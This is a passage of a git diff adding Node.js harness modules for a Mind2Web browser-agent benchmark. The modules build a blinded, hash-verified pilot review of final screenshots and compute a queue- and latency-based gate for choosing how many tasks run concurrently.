summary.output_dir, + checks: summary.checks.length, concurrency: summary.concurrency.map(row => row.workers), error: summary.error })); + if (!summary.ok) process.exitCode = 1; +} diff --git a/mind2web/harness/manual-pilot-review.mjs b/mind2web/harness/manual-pilot-review.mjs new file mode 100644 index 000000000..54af4d955 --- /dev/null +++ b/mind2web/harness/manual-pilot-review.mjs @@ -0,0 +1,254 @@ +import { createHash } from 'node:crypto'; +import { mkdir, readFile, readdir, writeFile, copyFile } from 'node:fs/promises'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { parseArgs } from 'node:util'; +import { fixedCanary } from './manual-pilot.mjs'; +import { inspectPng } from './png.mjs'; +import { verifyPublicDisposition } from './public-disposition.mjs'; + +export const PILOT_REVIEW_SEED = 'fsb-visible-pilot-checkpoints-v2-20261018'; +const hash = bytes => createHash('sha256').update(bytes).digest('hex'); +const serialize = value => JSON.stringify(value, null, 2) + '\n'; +const canonical = value => JSON.stringify(value && typeof value === 'object' ? Array.isArray(value) + ? value.map(item => JSON.parse(canonical(item))) : Object.fromEntries(Object.keys(value).sort().map(key => [key, JSON.parse(canonical(value[key]))])) : value); +const same = (a, b) => canonical(a) === canonical(b); +const json = file => readFile(file, 'utf8').then(JSON.parse); +const LABELS = ['visibly_met', 'visibly_not_met', 'insufficient_visible_evidence']; +const COMPARISONS = ['A_more_visible_progress', 'B_more_visible_progress', 'similar', 'not_comparable']; +const RULES = 'Automated descriptive review of the last saved native image only. Images are unchanged and no browser task is replayed. ' + + 'Visible checkpoints do not establish full task success, evaluator ground truth, causal concurrency effects or human calibration. ' + + 'Goal ratings do not affect the operational concurrency decision.'; + +async function optional(file) { + try { return await json(file); } catch (error) { if (error.code === 'ENOENT') return null; throw error; } +} +async function descriptor(file) { + const bytes = await readFile(file); return { path: path.resolve(file), bytes: bytes.length, sha256: hash(bytes) }; +} +async function assertEvidence(item) { + if (!item?.path || !same(await descriptor(item.path), item)) throw new Error('Pilot review source or copied evidence changed'); +} +async function jsonl(file) { + const text = await readFile(file, 'utf8'); + if (text && !text.endsWith('\n')) throw new Error('Pilot review requires complete JSONL records'); + return text.split('\n').filter(line => line.trim()).map(JSON.parse); +} +function childFile(root, relative) { + const absolute = path.resolve(root, relative), rel = path.relative(root, absolute); + if (!rel || rel === '..' || rel.startsWith('..' + path.sep) || path.isAbsolute(rel)) throw new Error('Unsafe pilot review evidence path'); + return absolute; +} + +async function selectedCheckpoint(pilotOutputDir, candidate, name, task, publicRelease = false) { + const phaseDir = path.join(pilotOutputDir, `concurrency-${candidate}`, name); + const manifestPath = path.join(phaseDir, 'manifest.json'), manifest = await json(manifestPath); + const row = manifest.outcomes.find(row => row.task_id === task.task_id); + const attempt = manifest.attempts.find(attempt => attempt.task_id === task.task_id && attempt.index === row?.selected_attempt); + if (!manifest.collection_complete || !row || !attempt || attempt.state !== 'finished' || attempt.final?.cleanup_ok !== true + || attempt.raw_dir !== path.join(phaseDir, 'raw', task.task_id, `attempt-${attempt.index}`)) throw new Error('Pilot checkpoint requires an exact selected, cleaned-up exported attempt'); + const stepsPath = path.join(attempt.raw_dir, 'steps.jsonl'), finalPath = path.join(attempt.raw_dir, 'final.json'); + const final = await json(finalPath); + if (!same(final, attempt.final) || final.outcome !== row.outcome) throw new Error('Pilot checkpoint raw final differs from its selected attempt'); + if (!row.exported) { + const disposition = publicRelease && manifest.public_release === true ? await verifyPublicDisposition(attempt.raw_dir, final) : null; + if (!disposition) throw new Error('Pilot checkpoint lacks a verified selected trajectory or native failure'); + if (await optional(path.join(phaseDir, 'trajectories', task.task_id, 'result.json'))) throw new Error('Missing final checkpoint was replaced by another image'); + return { task_id: task.task_id, condition: name === 'concurrent' ? 'concurrent' : 'serial', phase: name, + selected_attempt: attempt.index, outcome: final.outcome, final_answer: final.final_answer ?? null, + unavailable: true, native_receipt: null, raw_dir: attempt.raw_dir, disposition, + sources: await Promise.all([manifestPath, stepsPath, finalPath, path.join(attempt.raw_dir, 'proxy-meta.json'), + disposition.cleanup_evidence.path, disposition.health_evidence.path, disposition.health_png.path].map(descriptor)) }; + } + const steps = await jsonl(stepsPath), entry = steps.filter(entry => entry.screenshot_path && entry.frame_receipt).at(-1); + const receipt = entry?.frame_receipt; + if (!receipt || receipt.task_id !== task.task_id || receipt.tab_id !== entry.tab_id || receipt.source_url !== entry.url + || receipt.screenshot_path !== entry.screenshot_path + || !receipt.frame_id || !receipt.capture_id || path.resolve(entry.screenshot_path) !== childFile(attempt.raw_dir, path.relative(attempt.raw_dir, entry.screenshot_path))) { + throw new Error('Pilot checkpoint has no exact native final frame receipt'); + } + const rawBytes = await readFile(entry.screenshot_path), png = inspectPng(rawBytes); + if (!png.ok || png.width < 100 || png.height < 100 || hash(rawBytes) !== receipt.sha256 || rawBytes.length !== receipt.byte_length + || png.width !== receipt.output_width || png.height !== receipt.output_height) throw new Error('Pilot checkpoint native PNG or receipt bytes differ'); + const exportDir = path.join(phaseDir, 'trajectories', task.task_id), resultPath = path.join(exportDir, 'result.json'); + const result = await json(resultPath), last = result.action_history?.at(-1); + if (!last?.screenshot || path.basename(last.screenshot) !== last.screenshot) throw new Error('Pilot checkpoint export has no final image'); + const exported = path.join(exportDir, 'trajectory', last.screenshot); + if (hash(await readFile(exported)) !== receipt.sha256 || last.url !== receipt.source_url) throw new Error('Pilot checkpoint export is not the exact selected native final image'); + return { task_id: task.task_id, condition: name === 'concurrent' ? 'concurrent' : 'serial', phase: name, + selected_attempt: attempt.index, outcome: final.outcome, final_answer: final.final_answer ?? null, + native_receipt: receipt, raw_seq: entry.seq, + sources: await Promise.all([manifestPath, stepsPath, finalPath, resultPath, entry.screenshot_path, exported].map(descriptor)) }; +} + +export async function writePilotCheckpointBundle({ pilotOutputDir, outputDir, allTasks, gateReceipt, publicRelease = false }) { + pilotOutputDir = path.resolve(pilotOutputDir); outputDir = path.resolve(outputDir); + if (!gateReceipt?.ok || ![1, 2, 5, 10].includes(gateReceipt.selected_concurrency)) throw new Error('A passing pilot operational receipt is required'); + const selected = await fixedCanary(allTasks), candidate = gateReceipt.selected_concurrency; + if (gateReceipt.fixed_sample_sha256 !== selected.spec.task_ids_sha256) throw new Error('Pilot review cannot substitute another task sample'); + const gate = await descriptor(path.join(pilotOutputDir, 'accepted-gate.json')); + if (!same(await json(gate.path), gateReceipt)) throw new Error('Pilot review gate differs from saved acceptance'); + const ordered = [...selected.tasks].sort((a, b) => hash(`${PILOT_REVIEW_SEED}|order|${a.task_id}`).localeCompare(hash(`${PILOT_REVIEW_SEED}|order|${b.task_id}`))); + const serialFirst = new Set([...selected.tasks].sort((a, b) => hash(`${PILOT_REVIEW_SEED}|side|${a.task_id}`).localeCompare(hash(`${PILOT_REVIEW_SEED}|side|${b.task_id}`))).slice(0, 5).map(task => task.task_id)); + const serialA = new Set(selected.serialA.map(task => task.task_id)); + const pairs = [], key = []; + for (const [index, task] of ordered.entries()) { + const reviewId = `review-${String(index + 1).padStart(3, '0')}`; + const serial = await selectedCheckpoint(pilotOutputDir, candidate, serialA.has(task.task_id) ? 'serial-a' : 'serial-b', task, publicRelease); + const concurrent = await selectedCheckpoint(pilotOutputDir, candidate, 'concurrent', task, publicRelease); + const conditions = serialFirst.has(task.task_id) ? { A: serial, B: concurrent } : { A: concurrent, B: serial }; + const images = Object.fromEntries(Object.entries(conditions).map(([side, record]) => [side, + record.unavailable ? { unavailable: true, reason: 'Final native page evidence is unavailable; no earlier or independent health frame is substituted.' } + : { file: `${reviewId}/${side}.png`, sha256: record.native_receipt.sha256, bytes: record.native_receipt.byte_length }])); + pairs.push({ review_id: reviewId, task: task.confirmed_task, website: task.website, images }); + key.push({ review_id: reviewId, task_id: task.task_id, conditions }); + } + const imageCount = pairs.flatMap(pair => Object.values(pair.images)).filter(image => !image.unavailable).length; + const publicManifest = { format_version: 1, seed: PILOT_REVIEW_SEED, task_count: 10, image_count: imageCount, + ...(publicRelease ? { public_release: true, checkpoint_count: 20, unavailable_checkpoints: 20 - imageCount } : {}), + blinded: true, review_kind: 'automated_descriptive_visible_goal_checkpoints', human_calibrated: false, + affects_operational_gate: false, limitations: RULES, pairs }; + const taskPromptsHash = hash(canonical(pairs.map(pair => ({ review_id: pair.review_id, task: pair.task, website: pair.website })))); + const privateKey = { format_version: 1, seed: PILOT_REVIEW_SEED, gate, fixed_sample_sha256: selected.spec.task_ids_sha256, + public_manifest_sha256: hash(serialize(publicManifest)), task_prompts_sha256: taskPromptsHash, records: key }; + const publicPath = path.join(outputDir, 'review/manifest.json'), privatePath = path.join(outputDir, 'private/conditions.json'); + const prior = await optional(privatePath); + if (prior) { + if (!same(prior, privateKey) || !same(await json(publicPath), publicManifest)) throw new Error('Pilot review bundle differs from its selected immutable evidence'); + await verifyPilotCheckpointBundle(outputDir); + return bundleSummary(outputDir, publicManifest, taskPromptsHash, true); + } + const existing = await readdir(outputDir).catch(error => { if (error.code === 'ENOENT') return []; throw error; }); + if (existing.length) throw new Error('Partial pilot review bundle requires inspection; no evidence is overwritten'); + await mkdir(path.join(outputDir, 'review'), { recursive: true }); await mkdir(path.join(outputDir, 'private'), { recursive: true }); + for (const record of key) for (const [side, evidence] of Object.entries(record.conditions)) { + if (evidence.unavailable) continue; + const target = childFile(path.join(outputDir, 'review'), `${record.review_id}/${side}.png`); + await mkdir(path.dirname(target), { recursive: true }); await copyFile(evidence.native_receipt.screenshot_path, target); + if (hash(await readFile(target)) !== evidence.native_receipt.sha256) throw new Error('Pilot review image copy differs from the native frame'); + } + await writeFile(publicPath, serialize(publicManifest), { flag: 'wx' }); + const template = pairs.map(pair => ({ review_id: pair.review_id, A: { visible_goal: null, evidence: null }, + B: { visible_goal: null, evidence: null }, comparison: null, notes: null })); + await writeFile(path.join(outputDir, 'review/notes-template.jsonl'), template.map(row => JSON.stringify(row)).join('\n') + '\n', { flag: 'wx' }); + await writeFile(path.join(outputDir, 'review/INSTRUCTIONS.md'), '# Blinded pilot checkpoint review\n\n' + + RULES + `\n\nInspect all${imageCount} available images before looking at private/conditions.json. Missing final frames require insufficient_visible_evidence and not_comparable; never substitute an earlier or guard image. For each side use ` + + LABELS.join(', ') + '; cite visible details in evidence. Comparison values: ' + COMPARISONS.join(', ') + + '. Complete notes.jsonl from the template, then record the completion receipt with manual-pilot-review.mjs --bundle --notes --reviewer . ' + + 'No human reviewer is required. This review is separate from the historical60-case calibration bundle.\n', { flag: 'wx' }); + await writeFile(privatePath, serialize(privateKey), { flag: 'wx' }); + await verifyPilotCheckpointBundle(outputDir); + return bundleSummary(outputDir, publicManifest, taskPromptsHash, false); +} + +async function bundleSummary(outputDir, manifest, taskPromptsHash, alreadyRecorded) { + return { output_dir: outputDir, task_count: 10, image_count: manifest.image_count, human_calibrated: false, affects_operational_gate: false, + public_manifest: await descriptor(path.join(outputDir, 'review/manifest.json')), + private_key: await descriptor(path.join(outputDir, 'private/conditions.json')), task_prompts_sha256: taskPromptsHash, + images_sha256: hash(canonical(manifest.pairs.map(pair => ({ review_id: pair.review_id, images: pair.images })))), already_recorded: alreadyRecorded }; +} + +export async function verifyPilotCheckpointBundle(outputDir) { + outputDir = path.resolve(outputDir); + const manifest = await json(path.join(outputDir, 'review/manifest.json')), key = await json(path.join(outputDir, 'private/conditions.json')); + const actualImages = manifest.pairs?.flatMap(pair => Object.values(pair.images ?? {})).filter(image => !image.unavailable).length; + if (manifest.task_count !== 10 || manifest.image_count !== actualImages || !manifest.public_release && manifest.image_count !== 20 + || manifest.public_release && (manifest.checkpoint_count !== 20 || manifest.unavailable_checkpoints !== 20 - actualImages) + || manifest.pairs?.length !== 10 || key.records?.length !== 10 + || key.public_manifest_sha256 !== hash(await readFile(path.join(outputDir, 'review/manifest.json'))) + || manifest.seed !== PILOT_REVIEW_SEED || key.seed !== PILOT_REVIEW_SEED) throw new Error('Pilot review manifest or private key is inconsistent'); + await assertEvidence(key.gate); + const seen = new Set(); let serialA = 0; + for (const pair of manifest.pairs) { + if (seen.has(pair.review_id)) throw new Error('Duplicate pilot review pair'); seen.add(pair.review_id); + const record = key.records.find(row => row.review_id === pair.review_id); + if (!record || !same(Object.values(record.conditions).map(row => row.condition).sort(), ['concurrent', 'serial'])) throw new Error('Pilot review pair lacks both actual conditions'); + if (record.conditions.A.condition === 'serial') serialA++; + for (const side of ['A', 'B']) { + const image = pair.images[side], native = record.conditions[side]; + if (image.unavailable) { + if (manifest.public_release !== true || native.unavailable !== true || native.native_receipt !== null + || !same(await verifyPublicDisposition(native.raw_dir, await json(path.join(native.raw_dir, 'final.json'))), native.disposition)) throw new Error('Unavailable pilot checkpoint lacks its original native failure'); + for (const source of native.sources) await assertEvidence(source); + continue; + } + if (image.sha256 !== native.native_receipt.sha256 || image.bytes !== native.native_receipt.byte_length) throw new Error('Pilot review side differs from its native receipt'); + const bytes = await readFile(childFile(path.join(outputDir, 'review'), image.file)); + if (hash(bytes) !== image.sha256 || bytes.length !== image.bytes) throw new Error('Pilot review copied PNG changed'); + for (const source of native.sources) await assertEvidence(source); + } + } + if (serialA !== 5) throw new Error('Pilot review A/B condition balance changed'); + const taskPromptsHash = hash(canonical(manifest.pairs.map(pair => ({ review_id: pair.review_id, task: pair.task, website: pair.website })))); + if (taskPromptsHash !== key.task_prompts_sha256) throw new Error('Pilot review task prompts changed'); + return { manifest, key, summary: await bundleSummary(outputDir, manifest, taskPromptsHash, true) }; +} + +function validateNotes(rows, manifest) { + if (rows.length !== 10 || new Set(rows.map(row => row.review_id)).size !== 10) throw new Error('Pilot review requires one completed note for each of ten pairs'); + for (const row of rows) { + if (!manifest.pairs.some(pair => pair.review_id === row.review_id) || !COMPARISONS.includes(row.comparison)) throw new Error('Pilot review note has an unknown pair or comparison'); + for (const side of ['A', 'B']) if (!LABELS.includes(row[side]?.visible_goal) || typeof row[side]?.evidence !== 'string' || !row[side].evidence.trim()) throw new Error('Pilot review notes must cite visible evidence for both images'); + const pair = manifest.pairs.find(pair => pair.review_id === row.review_id); + for (const side of ['A', 'B']) if (pair.images[side].unavailable && row[side].visible_goal !== 'insufficient_visible_evidence') throw new Error('Missing pilot evidence cannot establish a visible goal'); + if (Object.values(pair.images).some(image => image.unavailable) && row.comparison !== 'not_comparable') throw new Error('Missing pilot frames cannot support a visual comparison'); + } +} +function descriptiveSummary(rows, key) { + const byCondition = Object.fromEntries(['serial', 'concurrent'].map(condition => [condition, Object.fromEntries(LABELS.map(label => [label, 0]))])); + const comparisons = Object.fromEntries(COMPARISONS.map(value => [value, 0])); + for (const row of rows) { + const record = key.records.find(item => item.review_id === row.review_id); + for (const side of ['A', 'B']) byCondition[record.conditions[side].condition][row[side].visible_goal]++; + comparisons[row.comparison]++; + } + return { by_condition: byCondition, blinded_pair_comparisons: comparisons, task_count: 10, + image_count: key.records.flatMap(record => Object.values(record.conditions)).filter(record => !record.unavailable).length, + interpretation: RULES, human_calibrated: false, affects_operational_gate: false }; +} + +export async function recordPilotReview({ outputDir, notesPath, reviewer }) { + outputDir = path.resolve(outputDir); + if (typeof reviewer !== 'string' || !reviewer.trim() || !notesPath) throw new Error('A named automated reviewer and completed notes file are required'); + const verified = await verifyPilotCheckpointBundle(outputDir), rows = await jsonl(notesPath); + validateNotes(rows, verified.manifest); + const target = path.join(outputDir, 'review/notes.jsonl'), bytes = await readFile(notesPath); + const existing = await readFile(target).catch(error => { if (error.code === 'ENOENT') return null; throw error; }); + if (existing && !existing.equals(bytes)) throw new Error('Existing pilot review notes cannot be replaced'); + if (!existing) await writeFile(target, bytes, { flag: 'wx' }); + const fields = { ok: true, kind: 'automated_descriptive_pilot_checkpoint_review', reviewer: reviewer.trim(), + human_calibrated: false, affects_operational_gate: false, task_count: 10, image_count: verified.manifest.image_count, + public_manifest: verified.summary.public_manifest, private_key: verified.summary.private_key, + task_prompts_sha256: verified.summary.task_prompts_sha256, images_sha256: verified.summary.images_sha256, + operational_gate: verified.key.gate, notes: await descriptor(target), + descriptive_summary: descriptiveSummary(rows, verified.key), review_source_sha256: hash(await readFile(fileURLToPath(import.meta.url))) }; + const receiptPath = path.join(outputDir, 'completion.json'), prior = await optional(receiptPath); + if (prior) { + const { completed_at, ...saved } = prior; + if (!same(fields, saved)) throw new Error('Existing pilot review completion differs'); + } else await writeFile(receiptPath, serialize({ ...fields, completed_at: new Date().toISOString() }), { flag: 'wx' }); + return { complete: true, receipt: await descriptor(receiptPath), ...fields }; +} + +export async function verifyPilotReviewComplete(outputDir) { + outputDir = path.resolve(outputDir); + const receipt = await optional(path.join(outputDir, 'completion.json')); + if (!receipt) return { complete: false }; + if (receipt.notes?.path !== path.join(outputDir, 'review/notes.jsonl') || typeof receipt.reviewer !== 'string' || !receipt.reviewer.trim()) throw new Error('Pilot descriptive receipt lacks its named reviewer or bundled notes'); + const verified = await verifyPilotCheckpointBundle(outputDir), rows = await jsonl(receipt.notes?.path); + validateNotes(rows, verified.manifest); await assertEvidence(receipt.notes); + if (receipt.ok !== true || receipt.kind !== 'automated_descriptive_pilot_checkpoint_review' || receipt.human_calibrated !== false + || receipt.affects_operational_gate !== false || receipt.task_count !== 10 || receipt.image_count !== verified.manifest.image_count + || !same(receipt.public_manifest, verified.summary.public_manifest) || !same(receipt.private_key, verified.summary.private_key) + || receipt.task_prompts_sha256 !== verified.summary.task_prompts_sha256 || receipt.images_sha256 !== verified.summary.images_sha256 + || !same(receipt.operational_gate, verified.key.gate) || !same(receipt.descriptive_summary, descriptiveSummary(rows, verified.key)) + || receipt.review_source_sha256 !== hash(await readFile(fileURLToPath(import.meta.url)))) throw new Error('Pilot descriptive completion receipt differs from saved images, tasks or notes'); + return { complete: true, receipt: await descriptor(path.join(outputDir, 'completion.json')), ...receipt }; +} + +if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { + const { values } = parseArgs({ options: { bundle: { type: 'string' }, notes: { type: 'string' }, reviewer: { type: 'string' } } }); + recordPilotReview({ outputDir: values.bundle, notesPath: values.notes, reviewer: values.reviewer }) + .then(value => console.log(JSON.stringify({ complete: value.complete, receipt: value.receipt, task_count: value.task_count, image_count: value.image_count }))) + .catch(error => { console.error(JSON.stringify({ error: error.message })); process.exitCode = 1; }); +} diff --git a/mind2web/harness/manual-pilot.mjs b/mind2web/harness/manual-pilot.mjs new file mode 100644 index 000000000..f7d801caa --- /dev/null +++ b/mind2web/harness/manual-pilot.mjs @@ -0,0 +1,126 @@ +import { readFile, mkdir, readdir } from 'node:fs/promises'; +import path from 'node:path'; +import { createHash } from 'node:crypto'; +import { BENCH_ROOT } from './proc.mjs'; +import { atomicJson } from './run-state.mjs'; +import { collectManual, artifactBytes, sourceFingerprint } from './manual-runner.mjs'; +import { publicAttemptBlocker, verifyPublicDisposition } from './public-disposition.mjs'; + +const hash = value => createHash('sha256').update(value).digest('hex'); +const json = file => readFile(file, 'utf8').then(JSON.parse); +export function percentile(values, p = .95) { const sorted = values.filter(Number.isFinite).sort((a, b) => a - b); return sorted.length ? sorted[Math.ceil(sorted.length * p) - 1] : null; } +export async function fixedCanary(tasks) { + const spec = await json(path.join(BENCH_ROOT, 'config/browser-manual-v2-canary.json')); + if (hash(JSON.stringify(spec.task_ids)) !== spec.task_ids_sha256) throw new Error('Fixed canary IDs changed'); + const chosen = spec.task_ids.map(id => { const task = tasks.find(x => x.task_id === id); if (!task) throw new Error(`Missing pinned canary ${id}`); return task; }); + const byOrder = [...chosen].sort((a, b) => hash(`${spec.seed}|order|${a.task_id}`).localeCompare(hash(`${spec.seed}|order|${b.task_id}`))); + return { spec, tasks: chosen, serialA: byOrder.slice(0, 5), serialB: byOrder.slice(5) }; +} +export async function operationMetrics(runDirs, { publicRelease = false } = {}) { + const entries = [], finals = [], perTask = [], gateway = [], faults = []; + for (const runDir of runDirs) { + const manifest = await json(path.join(runDir, 'manifest.json')); + for (const attempt of manifest.attempts.filter(x => x.state === 'finished')) { + finals.push(attempt.final); + const disposition = publicRelease ? await verifyPublicDisposition(attempt.raw_dir, attempt.final) : null; + if (await publicAttemptBlocker(attempt, { publicRelease })) faults.push({ task_id: attempt.task_id, + fault: attempt.final.fault, cleanup_ok: attempt.final.cleanup_ok, uncertain_upstream: attempt.final.uncertain_upstream }); + const rows = (await readFile(path.join(attempt.raw_dir, 'steps.jsonl'), 'utf8').catch(error => { if (error.code === 'ENOENT') return ''; throw error; })).split('\n').filter(Boolean).map(JSON.parse); + entries.push(...rows); + const requests = (await readFile(path.join(attempt.raw_dir, 'gateway-requests.jsonl'), 'utf8').catch(error => { if (error.code === 'ENOENT') return ''; throw error; })).split('\n').filter(Boolean).map(JSON.parse); + const byRequest = new Map(); + for (const row of requests) { + const id = row.gateway_request_id ?? row.request_id; if (id === undefined) continue; + const record = byRequest.get(id) ?? { tool: row.tool }; + Object.assign(record, row); + if (row.event && row.at) record[row.event] = row.at; + byRequest.set(id, record); + } + gateway.push(...[...byRequest.values()].filter(row => row.method === 'tools/call' && typeof row.tool === 'string')); + const selected = manifest.outcomes.find(x => x.task_id === attempt.task_id); + perTask.push({ task_id: attempt.task_id, selected: manifest.outcomes.some(x => x.task_id === attempt.task_id && x.selected_attempt === attempt.index), + outcome: attempt.final.outcome, valid_export: selected?.exported ?? false, timing_unavailable: selected?.pilot_timing_unavailable === true, + ...(publicRelease ? { public_native_failure: disposition, original_fault: attempt.final.fault ?? null } : {}), + actor_duration_ms: attempt.final.actor_duration_ms, raw_dir: attempt.raw_dir, final_answer: attempt.final.final_answer }); + } + } + const timing = (e, begin, end) => e.timing?.[begin] && e.timing?.[end] ? e.timing[end].monotonic_ms - e.timing[begin].monotonic_ms : null; + const ordinary = entries.filter(e => !['fill_sheet', 'read_sheet'].includes(e.tool) && !['research_read', 'denied'].includes(e.kind)); + const gatewayQueue = percentile(gateway.map(row => row.queue_wait_ms)); + const browserQueue = percentile(entries.map(e => timing(e, 'lease_requested', 'lease_acquired'))); + const gatewayRoundtrip = gateway.filter(row => !['fill_sheet', 'read_sheet', 'list_tabs', 'get_site_guide'].includes(row.tool)) + .map(row => { const begin = row.received?.monotonic_ms, end = (row.emitted ?? row.finished)?.monotonic_ms; return Number.isFinite(begin) && Number.isFinite(end) ? end - begin : null; }).filter(Number.isFinite); + return { entries: entries.length, attempts: finals.length, gateway_requests: gateway.length, + p95_browser_queue_ms: browserQueue, p95_gateway_queue_ms: gatewayQueue, + p95_queue_ms: browserQueue === null ? gatewayQueue : gatewayQueue === null ? browserQueue : Math.max(browserQueue, gatewayQueue), + p95_tool_roundtrip_ms: percentile(gatewayRoundtrip.length ? gatewayRoundtrip : ordinary.map(e => Date.parse(e.ended_at) - Date.parse(e.started_at))), + p95_lease_service_ms: percentile(ordinary.map(e => timing(e, 'lease_acquired', 'lease_released'))), + queue_expiries: finals.reduce((sum, f) => sum + (f.queue_expiries ?? 0), 0), + faults, + per_task: perTask }; +} +export function concurrencyDecision({ concurrent, serial, publicRelease = false }) { + const correctness = concurrent.faults.length === 0 && serial.faults.length === 0 + && concurrent.per_task.every(x => x.valid_export || x.timing_unavailable || publicRelease && x.public_native_failure) + && serial.per_task.every(x => x.valid_export || x.timing_unavailable || publicRelease && x.public_native_failure); + const physical = concurrent.per_task.every(x => x.valid_export) && serial.per_task.every(x => x.valid_export); + const productEvidence = concurrent.per_task.every(x => x.valid_export || publicRelease && x.public_native_failure) + && serial.per_task.every(x => x.valid_export || publicRelease && x.public_native_failure); + const timing = concurrent.queue_expiries === 0 && serial.queue_expiries === 0 + && (publicRelease ? productEvidence : physical) + && concurrent.p95_queue_ms !== null && concurrent.p95_queue_ms <= 30_000 + && concurrent.p95_tool_roundtrip_ms !== null && concurrent.p95_tool_roundtrip_ms <= 60_000 + && serial.p95_tool_roundtrip_ms !== null && serial.p95_tool_roundtrip_ms <= 60_000 + && concurrent.p95_lease_service_ms !== null && serial.p95_lease_service_ms !== null + && concurrent.p95_lease_service_ms <= serial.p95_lease_service_ms * 1.5; + return { ok: correctness && timing, correctness_ok: correctness, physical_evidence_ok: physical, timing_ok: timing, + ...(publicRelease ? { public_release: true, product_outcome_evidence_ok: productEvidence, + missing_final_frames: [...concurrent.per_task, ...serial.per_task].filter(row => row.public_native_failure).length } : {}), + thresholds: { p95_queue_ms: 30_000, hard_queue_ms: 60_000, p95_ordinary_roundtrip_ms: 60_000, max_service_ratio: 1.5 }, + interpretation: 'Operational gate with shared cookies and live-site variation; no causal noninferiority claim. Task goal checkpoints are descriptive, not inferred from call counts or normal CLI completion.' }; +} +export async function pairedPilot({ outputDir, allTasks, source, serverCommand, extensionDir, localReceipt, circuitState, signal, shouldStop = () => false, resume = false, + publicRelease = false, publicPins = null, dependencies = {} }) { + await mkdir(outputDir, { recursive: true }); + if (!localReceipt.ok || !localReceipt.passed_levels?.length || localReceipt.passed_levels.some(n => ![1, 2, 5, 10].includes(n))) throw new Error('At least one fully passing installed local fixture level is required before the live pilot'); + const frozen = await (dependencies.fingerprint ?? sourceFingerprint)({ serverCommand, extensionDir, publicRelease, publicPins }); + const selected = await fixedCanary(allTasks); + const partition = { ...selected.spec, serial_a_ids: selected.serialA.map(t => t.task_id), serial_b_ids: selected.serialB.map(t => t.task_id), fingerprints: frozen }; + const prior = await json(path.join(outputDir, 'pilot-selection.json')).catch(error => { if (error.code === 'ENOENT') return null; throw error; }); + if (prior && JSON.stringify(prior) !== JSON.stringify(partition)) throw new Error('Cannot resume changed pilot sample, configuration or source bytes'); + await atomicJson(path.join(outputDir, 'pilot-selection.json'), partition); + for (const concurrency of [10, 5, 2, 1].filter(level => localReceipt.passed_levels.includes(level))) { + if (shouldStop()) return { ok: false, state: 'paused_drained', detail: 'Pilot dispatch stopped after draining active work' }; + const root = path.join(outputDir, `concurrency-${concurrency}`); + const phases = [['serial-a', selected.serialA, 1], ['concurrent', selected.tasks, concurrency], ['serial-b', selected.serialB, 1]]; + for (const [name, tasks, workers] of phases) { + if (shouldStop()) return { ok: false, state: 'paused_drained', run_dir: path.join(root, name), detail: 'Pilot dispatch stopped after draining active work' }; + const runDir = path.join(root, name); + const result = await (dependencies.collect ?? collectManual)({ runDir, tasks, concurrency: workers, source, serverCommand, extensionDir, circuitState, publicRelease, publicPins, + beforePublicDispatch: dependencies.beforePublicDispatch, + gateReceipt: { kind: 'pilot', local_receipt: localReceipt.receipt_path ?? null, fixed_sample_sha256: selected.spec.task_ids_sha256 }, pilotQueueTiming: true, signal, shouldStop, resume }); + if (!result.manifest.collection_complete) return { ok: false, state: result.manifest.state, run_dir: runDir, detail: result.manifest.last_block }; + } + const serial = await operationMetrics([path.join(root, 'serial-a'), path.join(root, 'serial-b')], { publicRelease }); + const concurrent = await operationMetrics([path.join(root, 'concurrent')], { publicRelease }); + const decision = concurrencyDecision({ concurrent, serial, publicRelease }); + await atomicJson(path.join(root, 'comparison.json'), { concurrency, serial, concurrent, decision, created_at: new Date().toISOString() }); + if (!decision.correctness_ok) return { ok: false, state: 'paused_health', detail: 'Pilot correctness/evidence/cleanup fault requires repair and regating', comparison: path.join(root, 'comparison.json') }; + if (!decision.ok) continue; + const taskSizes = []; + for (const [name] of phases) { + const raw = path.join(root, name, 'raw'); + for (const id of await readdir(raw)) taskSizes.push(await artifactBytes(path.join(raw, id))); + } + const receipt = { ok: true, created_at: new Date().toISOString(), selected_concurrency: concurrency, + ...(publicRelease ? { public_release: true } : {}), + fixed_sample_sha256: selected.spec.task_ids_sha256, fingerprints: frozen, local_receipt: localReceipt, + comparison: path.join(root, 'comparison.json'), decision, + artifact_forecast_bytes: Math.ceil((percentile(taskSizes) ?? 0) * 300 * 2), + artifact_forecast_policy: 'p95 raw task directory bytes times300, doubled for exports and six judge pass logs; disk gate separately adds25percent headroom and5GB reserve', + shared_cookies: true, budget: { timeout_seconds: 1200, max_actions: 120 }, human_calibrated: false }; + receipt.receipt_path = path.join(outputDir, 'accepted-gate.json'); + await atomicJson(receipt.receipt_path, receipt); return receipt; + } + return { ok: false, state: 'paused_health', detail: 'No tested concurrency level passed the operational gate' }; +} diff --git a/mind2web/harness/manual-recording-proxy.mjs b/mind2web/harness/manual-recording-proxy.mjs new file mode 100644 index 000000000..157da4f51 --- /dev/null +++ b/mind2web/harness/manual-recording-proxy.mjs @@ -0,0 +1,643 @@ +import { appendFile, mkdir, writeFile } from 'node:fs/promises'; +import { randomUUID } from 'node:crypto'; +import { createHash } from 'node:crypto'; +import { AsyncLocalStorage } from 'node:async_hooks'; +import path from 'node:path'; +import { StdioClient } from './mcp-client.mjs'; +import { resultData, resultOK, DEFAULT_REASON } from './mcp-record-proxy.mjs'; +import { profileFor, toolsForProfile, publicCatalogReceipt, COORDINATE_TOOLS, SHEET_TOOLS, classifyTool, actorToolSchema, checkJavascriptPolicy } from './browser-manual-profile.mjs'; +import { PublicReleaseClient } from './public-release-client.mjs'; +import { publicNativeCaptureFailure } from './public-disposition.mjs'; +import { OwnedTaskSession } from './owned-task-session.mjs'; +import { ObservationRecorder } from './observation-recorder.mjs'; +import { BrowserScheduler, operationClock } from './browser-scheduler.mjs'; +import { closeChromeTabs } from './chrome-tabs.mjs'; + +const errorResult = (code, error, outcome = 'not_executed') => ({ isError: true, content: [{ type: 'text', text: JSON.stringify({ success: false, code, error, execution_outcome: outcome }) }] }); +const idFromResult = result => resultData(result).map(x => x.tab_id ?? x.tabId ?? x.tab?.id).find(Number.isInteger); +const unknown = result => resultData(result).some(row => row.mayHaveExecuted === true || row.execution_outcome === 'unknown' + || row.outcome === 'unknown' || /^Detected:\s*Action outcome unknown(?:\r?\n|$)/i.test(row.text ?? '') + || /unknown outcome|outcome.{0,12}unknown|may have|may already|timed? out|timeout|connection.*(?:lost|closed|failed)|disconnected|server exited|unresponsive/i.test(row.error ?? row.message ?? '')); +const digest = value => 